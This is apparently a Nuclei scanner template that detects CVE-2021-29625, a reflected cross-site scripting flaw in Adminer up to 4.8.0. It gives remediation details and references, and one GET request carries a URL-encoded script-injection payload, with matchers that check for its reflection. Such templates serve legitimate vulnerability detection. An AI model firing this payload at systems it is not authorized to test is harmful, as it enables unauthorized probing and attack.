50 lines
1.9 KiB
YAML
50 lines
1.9 KiB
YAML
id: CVE-2021-29625
|
|
|
|
info:
|
|
name: Adminer <=4.8.0 - Cross-Site Scripting
|
|
author: daffainfo
|
|
severity: medium
|
|
description: Adminer 4.6.1 to 4.8.0 contains a cross-site scripting vulnerability which affects users of MySQL, MariaDB, PgSQL, and SQLite in browsers without CSP when Adminer uses a `pdo_` extension to communicate with the database (it is used if the native extensions are not enabled).
|
|
remediation: This vulnerability is patched in version 4.8.1. As workarounds, one can use a browser supporting strict CSP or enable the native PHP extensions (e.g. `mysqli`) or disable displaying PHP errors (`display_errors`).
|
|
reference:
|
|
- https://sourceforge.net/p/adminer/bugs-and-features/797/
|
|
- https://github.com/vrana/adminer/commit/4043092ec2c0de2258d60a99d0c5958637d051a7
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-29625
|
|
- https://github.com/vrana/adminer/security/advisories/GHSA-2v82-5746-vwqc
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
cvss-score: 6.1
|
|
cve-id: CVE-2021-29625
|
|
cwe-id: CWE-79
|
|
epss-score: 0.00212
|
|
epss-percentile: 0.58879
|
|
cpe: cpe:2.3:a:adminer:adminer:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 1
|
|
vendor: adminer
|
|
product: adminer
|
|
tags: cve,cve2021,adminer,xss
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- '{{BaseURL}}/?server=db&username=root&db=mysql&table=event%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- "</script><script>alert(document.domain)</script>"
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- "text/html"
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
# digest: 4b0a00483046022100dce5aabdc7b627f2ad02a184def2a7cf45b5912bf2124f967e55f488780e12ce0221008889b32520b3dacb9ad6bce7edf8064de5c18f28610060cddce4d9bd28d2d336:922c64590222798bb761d5b6d8e72950
|